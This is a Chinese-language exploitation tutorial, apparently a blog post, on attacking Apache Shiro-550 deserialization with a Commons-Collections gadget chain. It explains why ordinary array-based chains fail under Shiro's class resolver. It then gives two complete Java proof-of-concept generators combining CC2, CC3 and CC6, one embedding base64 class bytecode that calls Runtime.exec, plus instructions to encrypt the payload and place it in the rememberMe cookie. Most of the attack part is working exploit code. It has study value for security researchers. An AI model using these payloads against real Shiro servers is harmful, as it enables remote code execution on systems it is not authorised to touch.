上一篇中也说过,Shiro的依赖中默认是不带CC的依赖的,这里我们给它加上这个依赖
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
我们使用CC6链打,他报错了
原因是在反序列化的时候,它调用的不是原生的ObjectInputStream
类,而是调用的ClassResolvingObjectInputStream
来进行对象的输入,ClassResolvingObjectInputStream
是shiro自带的ObjectInputStream
类
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
既然是它自己定义的类,那么这里面肯定对对象进行了处理,我们跟进到ClassResolvingObjectInputStream
中看看
里面只有2个方法,一个是构造方法,一个是重写了resolveClass方法
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
}
}
java原生反序列化的时候会调用resolveClass
方法,如果它重写了的话就会调用到重写的resolveClass
方法中去
那我们看看原生的java.io.ObjectInputStream#resolveClass
方法是怎么写的
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
在获取名字的时候,return ClassUtils.forName(osc.getName());
shiro调用了自己的工具类中的forName
方法,我们跟进去查看
里面调用了三个loadClass,先用线程的类加载器,线程的类加载器加载不到的话再用当前类的类加载器,还是加载不到的话用系统类加载器,实际上就是双亲委派
问题出在:
ClassLoader
.loadClass
是不能加载数组类的
Class.forName
是可以加载数组类的
如果我们不加载数组类的话他是没有问题的,但是加载数组类的话就会产生问题
这个是Tomcat的类加载的细节
tomcat类加载器模型
我们想要打这个利用链的话,我们就不能使用数组类
在CC2中我们构造的poc是不使用数组类的,所以我们构造poc将CC2,CC3和CC6结合起来
package com.ay;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
/**
* @ClassName TestShiro550
* @Author aY
* @Date 2023/3/12 19:32
* @Description
*/
public class TestShiro550 extends Exception{
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> te = templates.getClass();
Field namefield = te.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaaa");
Field bytecodesield = te.getDeclaredField("_bytecodes");
bytecodesield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
byte[][] codes={code};
//private byte[][] _bytecodes = null;
bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去
//CC2
InvokerTransformer InvokerTransformer = new InvokerTransformer("newTransformer", null, null);
//调用的是TemplatesImpl.newTransformer方法,就可以动态加载类
//CC6
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
HashMap<Object, Object> map2 = new HashMap<Object, Object>();
map2.put(tiedMapEntry, "bbb");
lazymap.remove(templates);
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazymap, InvokerTransformer);
serialize(map2);
unserialize("ser.bin");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
使用之前构造好的exp.py将ser.bin进行加密,打开数据包传到Cookie的值哪里然后go,就可以弹出计算器
poc附上
package com.ay;
/**
* @ClassName CC10
* @Author aY
* @Date 2023/3/12 20:28
* @Description
*/
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC10 {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serizlize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void main(String[] args) throws Exception {
//如下的code内容为弹出一个calc。
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//新建一个InvokerTransformer对象,先设置一个不容易本地调试出发的方法getClass
Transformer transformer = new InvokerTransformer("getClass", null, null);
//新建一个InvokerTransformer对象,先设置一个不容易本地调试出发的方法getClass
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
//创建一个TiedMapEntry对象,map放如上创建的LazyMap,key放如上创建好的TemplatesImpl
TiedMapEntry tiedmapentry = new TiedMapEntry(outerMap, obj);
//创建一个HashSet对象,添加一个foo
HashSet map = new HashSet(1);
map.add("foo");
//反射获取如上创建的map对象的map属性
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
//反射获取如上HashSet对象中map属性HashMap中的table属性
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
//新建一个array数组,将获取到的table属性中的值赋给array
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
//新建一个node对象,将如上获取到array中的值赋给node(涉及到hashmap的数组结构原理)
Object node = array[0];
if(node == null){
node = array[1];
}
//将如上获取到的HashSet中的map属性中的table中的一个node的key值替换为我们一开始创建的tiedmapentry对象。
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedmapentry);
//将上面传入的一个getClass方法替换为我们真实的需要触发的方法newTransformer
setFieldValue(transformer, "iMethodName", "newTransformer");
//序列化
serizlize(map);
}
}